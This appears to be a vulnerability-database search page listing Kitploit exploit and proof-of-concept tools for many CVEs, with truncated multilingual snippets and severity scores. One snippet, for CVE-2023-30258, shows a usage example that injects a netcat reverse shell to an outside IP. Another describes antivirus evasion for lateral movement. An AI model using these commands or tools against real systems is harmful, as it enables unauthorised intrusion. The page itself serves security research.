Lucene search
+L

623176 matches found

Kitploit
Kitploit
added 2026/08/27 12:25 a.m.3 views

Nextjs_RCE_Exploit_Tool

Инструмент эксплуатации RCE для Next.js CVE-2025-55182 !CAUTION Отказ от ответственности / Disclaimer Данный инструмент предназначен исключительно для исследований и обучения в области безопасности. Перед использованием инструмента для тестирования необходимо получить законное разрешение на целев...

10CVSS7.5AI score0.99802EPSS
SaveExploits385References1
Kitploit
Kitploit
added 2026/08/27 12:25 a.m.2 views

WSO2-CVE-2022-29464

WSO2 Carbon Server CVE-2022-29464 Уязвимость RCE без предварительной аутентификации CVE-2022-29464. Полный технический анализ будет опубликован в моем блоге: https://mr-r3bot.github.io Использование root@kitploit: python exploit.py -u...

10CVSS8.9AI score0.99999EPSS
SaveExploits22References1
Kitploit
Kitploit
added 2026/08/27 12:25 a.m.1 views

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 구성 스캐너 언어: 한국어 | English 이는 NGINX 구성에 CVE-2026-42945NGINX Rift 및 CVE-2026-9256 위험 패턴이 존재하는지 확인하는 경량 스크립트입니다. 이 취약점은 depthfirst가 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 문서에서 공개했습니다. 기사와 F5/NVD 설명에 따르면 위험은 ngxhttprewritemodule의 특정 구성 조합과 관련됩니다: 동일한 구성 컨텍스트에서...

9.2CVSS8AI score0.68047EPSS
SaveExploits46References1
Kitploit
Kitploit
added 2026/08/27 12:25 a.m.3 views

CVE-2021-26084_PoC

CVE-2021-26084 PoC | Confluence Server Webwork OGNLインジェクション OGNLインジェクションの脆弱性が存在し、認証されたユーザー、場合によっては認証されていないユーザーがConfluence ServerまたはData Centerインスタンス上で任意のコードを実行できる可能性があります。 エントリーポイントとインジェクションを見つけるための私の奮闘 XD 奮闘 1| 奮闘 2 ---|--- | 最終的に悪用したConfluenceのエントリーポイント root@kitploit:...

9.8CVSS8.1AI score0.99999EPSS
SaveExploits46References1
Kitploit
Kitploit
added 2026/08/27 12:24 a.m.2 views

Awesome_shiro

Awesome-shiro CVE-2016-4437 Широ Декодирование Base64 -- Расшифровка AES -- Десериализация Среда linux/win10 подходят python2/python3 подходят Из-за наличия module/ysoserial.jar в модуле проект несколько великоват, пожалуйста, отнеситесь с пониманием. Локальное развертывание полигона...

9.8CVSS7.6AI score0.93039EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/08/27 12:24 a.m.2 views

CVE_2021_27850_POC

Использование команд root@kitploit: git clone https://github.com/Ovi3/CVE202127850POC.git cd CVE202127850POC/ gradlew runnbaleJar java -jar ./build/libs/CVE202127850POC-1.0-SNAPSHOT.jar Usage: java TapestryExploit Tapestry Key DNS URL java TapestryExploit Tapestry Key CB2 Command Предположим, что...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/27 12:24 a.m.2 views

CVE-2024-7593

CVE-2024-7593 Descripción: CVE-2024-7593 es una vulnerabilidad crítica que afecta a múltiples productos de Pulse Secure, incluido Pulse Secure VPN. Esta vulnerabilidad permite a un atacante autenticado con acceso a la interfaz de administración ejecutar comandos arbitrarios en el servidor afectad...

9.8CVSS9.3AI score0.9999EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/08/27 12:24 a.m.3 views

CVE-2021-31728

CVE-2021-31727 и CVE-2021-31728 Публичный референс для CVE-2021-31727 Открывает неограниченные возможности чтения/записи на диск. Публичный референс для CVE-2021-31728 Напрямую позволяет выполнять произвольный код на уровне ring 0. Благодарности Lima X помог с идеей SystemBigPoolInformation...

7.8CVSS7.4AI score0.03399EPSS
SaveExploits2References3
Kitploit
Kitploit
added 2026/08/27 12:23 a.m.2 views

CVE-2024-27348

CVE-2024-27348 Только для этического использования. Любые вредоносные или злонамеренные действия запрещены. И это ваша собственная ответственность Вы можете прочитать анализ уязвимости здесь: https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ Apache HugeGraph Server RCE...

9.8CVSS8.9AI score0.9921EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/08/27 12:23 a.m.2 views

CVE-2025-8110

CVE-2025-8110 El manejo inadecuado de enlaces simbólicos en la API PutContents de Gogs permite la ejecución local de código. ¿Cómo funciona este método de detección? Extrae la versión de Gogs del pie de página de /user/login mediante una expresión regular Gogs Version: X.X.X y marca las instancia...

8.8CVSS7.8AI score0.82693EPSS
SaveExploits21References1
Kitploit
Kitploit
added 2026/08/27 12:23 a.m.2 views

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC для CVE-2023-30258-RCE от n0o0b Использование root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...

9.8CVSS8.6AI score0.9425EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/08/27 12:23 a.m.1 views

Apache-Tomcat---Remote-Code-Execution-via-Session-Deserialization-CVE-2025-24813-

Apache-Tomcat---通过会话反序列化实现远程代码执行-CVE-2025-24813-...

10CVSS8.7AI score0.99927EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/08/27 12:23 a.m.2 views

CVE-2019-7214

CVE-2019-7214 root@kitploit: Exploit Title: SmarterMail...

10CVSS8.8AI score0.84824EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/08/27 12:23 a.m.2 views

CVE-2019-20224

CVE-2019-20224 Pandora v7.0NG 认证后远程代码执行(CVE-2019-20224)的官方漏洞利用...

9CVSS7.8AI score0.4968EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/27 12:22 a.m.2 views

CVE-2019-19781

CVE-2019-19781...

9.8CVSS8AI score0.99999EPSS
SaveExploits48
Kitploit
Kitploit
added 2026/08/27 12:22 a.m.3 views

wmiexec-Pro

wmiexec-Pro wmiexec.py の次世代版。 目次 1. 情報 2. スペシャルサンクス 3. 特徴 4. はじめに インストール 5. 使い方 6. スクリーンショット 7. 動作の仕組み 8. 免責事項 9. 参照 情報 wmiexec.py の次世代版です。より多くの新機能を備え、すべての操作はポート 135 のみで動作します(SMB 接続は不要)。横移動における AV 回避(Windows Defender、HuoRong、360)を目的としています。 トップに戻る スペシャルサンクス @422926799 トップに戻る 特徴 主な機能: AV回避 主な機能:...

5.4AI score
SaveExploits0References5
Kitploit
Kitploit
added 2026/08/27 12:22 a.m.4 views

CVE-2023-21716

CVE-2023-21716 Переполнение кучи в таблице шрифтов RTF Microsoft Word Уязвимость в wwlib Microsoft Office позволяет злоумышленникам добиться удаленного выполнения кода с привилегиями жертвы, открывшей вредоносный RTF-документ. Злоумышленник может доставить этот файл в виде вложения электронной...

9.8CVSS8.7AI score0.82302EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/08/27 12:22 a.m.3 views

redis_exploit

CVE-2025-49844 RediShell - ラボ環境 Redis の深刻な CVE-2025-49844 RediShell 脆弱性をテストおよび理解するための実用的なラボ環境です。 ⚠️ 警告 これは教育目的のみです! 所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください インターネットに公開しないでください 本番環境では使用しないでください 脆弱性について CVE ID : CVE-2025-49844 名前 : RediShell CVSS スコア : 10.0 緊急 タイプ : Lua インタプリタにおける Use-After-Free...

9.9CVSS7.6AI score0.86767EPSS
SaveExploits14
Kitploit
Kitploit
added 2026/08/27 12:22 a.m.2 views

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ 使用方法: python exploit.py -u -c 例: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

5.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/27 12:22 a.m.3 views

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Rails Active Storage/libvips 任意ファイル読み取り → SECRETKEYBASE 窃取 → RCE 概要 CVE-2026-66066 は、Ruby on Rails Active Storage における重大度 CVSS 9.5 の 事前認証 任意ファイル読み取りからリモートコード実行に至るチェーンであり、デフォルト構成の Rails 7.2.0–7.2.3.1 、8.0.0–8.0.5 、8.1.0–8.1.3 に影響を与えます。...

9.5CVSS9.3AI score0.27861EPSS
SaveExploits8
Rows per page
Query Builder